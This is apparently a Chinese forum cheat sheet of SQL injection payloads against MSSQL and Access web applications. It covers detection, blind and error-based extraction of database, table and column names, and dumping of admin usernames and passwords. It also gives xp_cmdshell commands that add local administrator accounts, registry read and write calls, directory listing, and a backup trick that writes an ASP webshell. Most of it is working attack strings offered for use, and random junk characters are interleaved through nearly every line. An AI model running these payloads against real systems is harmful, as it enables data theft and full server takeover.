1.判断是否有注入
0 s4 b7 `$ {2 v8 F;and 1=1
$ D; m& e$ J; J% D+ `;and 1=2 2 }6 I7 N$ S, G; E, Z# e2 a' L
/ E0 Y7 X5 z b W0 Y7 y
2.初步判断是否是mssql
3 L8 \) z+ @" y+ U;and user>0 * B* t! a4 X/ L
( G1 X. E" e" {9 c1 O9 \6 k
3.判断数据库系统
a) ?' g6 T L. L9 V& P- O;and (select count(*) from sysobjects)>0 mssql
' o# C9 W0 l M9 B" X/ W;and (select count(*) from msysobjects)>0 access
5 |$ M( R- h$ O/ y2 _& F$ M$ D
7 y2 ^; B/ V! q ~7 |' T4.注入参数是字符 4 {. r0 k# W! P! X; x1 b8 S* I
'and [查询条件] and ''='
`* u/ E$ j+ B0 M% _2 h& {+ g6 ^3 Q. L# S* Y B( x7 p: M7 F
5.搜索时没过滤参数的
+ M* m9 m i7 s; ]1 ~'and [查询条件] and '%25'='
! i8 @3 D' g# u& i3 V. _7 D# Q) m. Z2 { [7 W
6.猜数表名
# G P' X2 y& {;and (select Count(*) from [表名])>0 4 T2 _& O+ |' x) B
4 E! l5 J; E; f5 U7.猜字段
* u) P; I* l8 S- L; i4 g" g5 z' s* m;and (select Count(字段名) from 表名)>0
7 k. T4 X9 Z+ g. @' z% e
) v/ ^9 m$ W) V+ y8.猜字段中记录长度
" S. \ v( _, k: P5 K0 b( n8 v5 e0 w0 v;and (select top 1 len(字段名) from 表名)>0 i& K5 ?/ F2 f; \9 s
* i$ q; Z. F* B: L0 H+ r9.(1)猜字段的ascii值(access)
* q, N1 a- t. H5 w) o: X;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
5 U8 M: E) k1 p
) u' U5 b' N0 |. E: G) P" t1 }) J(2)猜字段的ascii值(mssql)
0 m; n. Z ^. k' p' j;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
4 q6 W3 b9 x, W
# \; O9 L8 ]) n; j4 M10.测试权限结构(mssql) ) r# h8 B$ g( a5 E0 H( y
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
. d p% x9 R/ Z/ y+ ]% Q;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ; K) j) N+ ^5 W: e7 U2 n
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 9 s! U- t* @+ I' Z& j% R& N$ g
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 8 _% T, D1 o7 k2 j
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
& O# }9 l: [: i( ^;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- / P8 R1 @6 ~. h6 }" ]
;and 1=(select IS_MEMBER('db_owner'));--
* C; u0 A' n1 ?8 U0 W: E2 s; U/ z( C$ @/ N5 ~" b2 }; O
11.添加mssql和系统的帐户 : X2 I0 ^1 ]' e% D
;exec master.dbo.sp_addlogin username;-- ; I+ e* D# x. s
;exec master.dbo.sp_password null,username,password;-- / h+ W. s9 x4 F3 s( |- {% \
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- - e e& I. n. k
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 3 Y/ @( d5 C% B( a# f5 R* [
;exec master.dbo.xp_cmdshell 'net user username password /add';--
) l4 h$ }5 O& A6 [ V;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
# ? s$ j; F' S- G, S4 ?) Y2 \# ]) y0 ?* k4 O% W
12.(1)遍历目录 , V6 m/ o7 e/ ^$ F* K
;create table dirs(paths varchar(100), id int)
4 R3 K# ^* Y! U5 L;insert dirs exec master.dbo.xp_dirtree 'c:\'
6 R! ~4 n0 _3 D# }, N;and (select top 1 paths from dirs)>0
% b0 g6 y' t2 M;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
& J( M( N! b$ x; b' m% C
2 r9 ^. J- I+ u& e! ?(2)遍历目录
7 r. w, @, [$ P+ E6 ?% {;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 6 x* ?( N, E% B
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
2 W3 @+ {+ A: m+ F' {! w6 E;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
. T7 ]3 T9 }% z3 j;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 # o0 e/ q. `+ V, J- b; g% _
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 " {+ g% C6 I. x& p% D
' k. C' d- u" Z" N9 Q' ^# E( F4 S13.mssql中的存储过程
. V/ u; A& Y2 k: @, c; ^xp_regenumvalues 注册表根键, 子键 8 L& E1 b1 Y8 C& c$ D9 l
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
6 x( J, L* g# v! Pxp_regread 根键,子键,键值名 " A* O" j7 m" f- }# m
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 : v" f: O J4 h1 W2 M" M; E; j, V
xp_regwrite 根键,子键, 值名, 值类型, 值 ! S" S" n% N0 v' L+ N, O9 R
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 0 \- i' E0 j2 B% e% X, X9 `
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
/ W4 K0 y8 E$ ?0 U! S s" z+ pxp_regdeletevalue 根键,子键,值名
: N8 e0 t% s" o) v. r1 Pexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 ( V) ?* n* j7 w9 c# j
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
; e% I7 {/ F f+ X. ?2 j1 t& Y' {3 Z
14.mssql的backup创建webshell
/ W* E' K, i2 i9 O; x7 Xuse model
& }! j& ^' u- K" n, Dcreate table cmd(str image); 2 i- Z+ B% Z0 q7 o
insert into cmd(str) values ('<% Dim oScript %>'); 4 g, N6 r0 y$ J+ m7 H/ ^
backup database model to disk='c:\l.asp'; - I9 y; P1 T2 u
5 i& U. X9 d5 E6 T! A, q2 z
15.mssql内置函数
; N" s. d) [$ e1 |$ w U;and (select @@version)>0 获得Windows的版本号 9 Y2 W# k* T/ C U
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
: M) k' ^- A. e7 i;and (select user_name())>0 爆当前系统的连接用户
1 T4 x% a9 i/ @4 J5 M4 u8 S' V;and (select db_name())>0 得到当前连接的数据库 # u/ r' }) |$ G' b2 C5 j! y
D7 q; K4 W, A2 T' M
' i9 G& ?$ _; Y
. h, [: B+ ?* o$ q" A( a
MSSQL手注暴库
9 |% R+ d$ I; S+ p2 O) V5 y: n9 H- Z# l, H8 ]
1.暴出当前表名和列名+ `5 N; j% J! g: \5 I' ^ D
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
/ }# n a( O5 ~6 n: O& K, f4 e$ x7 ]+ W# C
第一.爆出所有数据库名
: o& D% q3 K: X7 [利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
& Z1 [: {/ B! L$ d: @3 y8 s3 o第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。4 N: M x2 g9 D. M* ]$ E
, m( V+ ^( u: o4 }! z- g% c
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名; ? `$ y1 c' g+ N) m1 s/ \5 \" g3 j& M
' m: u9 M$ Q+ @. J- P* H& r6 y
# y% B, n d- `7 S0 I6 K第二.爆出指定库中的所有表名4 |7 V2 ~. {# x3 L7 k8 |
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
& Q s0 O. l2 @$ ^8 h再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。$ G! q w$ J/ B
9 L: O: C1 h# [7 P( p0 zand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--/ E% O/ e& w. w+ K3 @% F: t
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--) J" L; \( m l) _! x: t- A
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--5 S* f m( Z& F/ s
' W. S$ ?# Y8 ~- H2 D4.爆出指定表中的所有列名
4 W6 P2 j2 R: u. S( J, U$ o& ` qand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
- a2 }9 w ?$ ]5 M//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
" \/ @3 I# _% l! c5 ^
) ~ h0 |: Z; ^and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
+ r! r1 p: |7 P0 j+ B( k
9 t8 v. c* _; G再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
& Z1 d' I# A" k M$ \# |6 C1 `$ _依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。% R2 W! y+ i V" T
) y$ h4 ?2 z: [
) A% w6 d) Q/ m. W# Y3 Wand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
, _. u7 j- |% M0 f" @3 U1 I& L: X( U7 o/ b9 N L# u% F
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
/ o! t V/ ^; {0 f D# ?# m
' E% z" K( p8 b" I! band 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
V! u4 {8 F, {; S! s: ]- N7 J1 H+ D* T7 a1 g3 x
% o# o" Y+ }" A B
. e B# ~6 E0 p) j0 k8 ^8 C# j5.读取指定表中的数据
1 {5 I' a% ~( I/ i- \
+ ]2 \ Q, `: ?' [! j- Pand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
% j4 b. d$ a' J* g l e. {0 o2 x8 d/ u: C! Q
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--8 I' f, [$ S) E, m# v; s: m# K
) H+ H& h2 C& P' _% h8 J* X
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码. N# U" X2 G' B) N, N
* A0 X2 l3 s% x1 V/ j- Y# g* t4 J: G% ~" i" Y" j) r
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao); K! M. P: _$ J
' n/ h0 E4 c' a7 O) {6 H8 a8 {. c
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
' P7 m- G/ B1 `+ G' l' G3 `; U, a
$ e F2 W7 P9 `6 P2 kand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
2 g# `) j6 d4 U1 T; U
* J/ g2 A s6 o( Q7 A知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
" S' R9 b4 m5 X5 N# G& {5 Z6 ~ |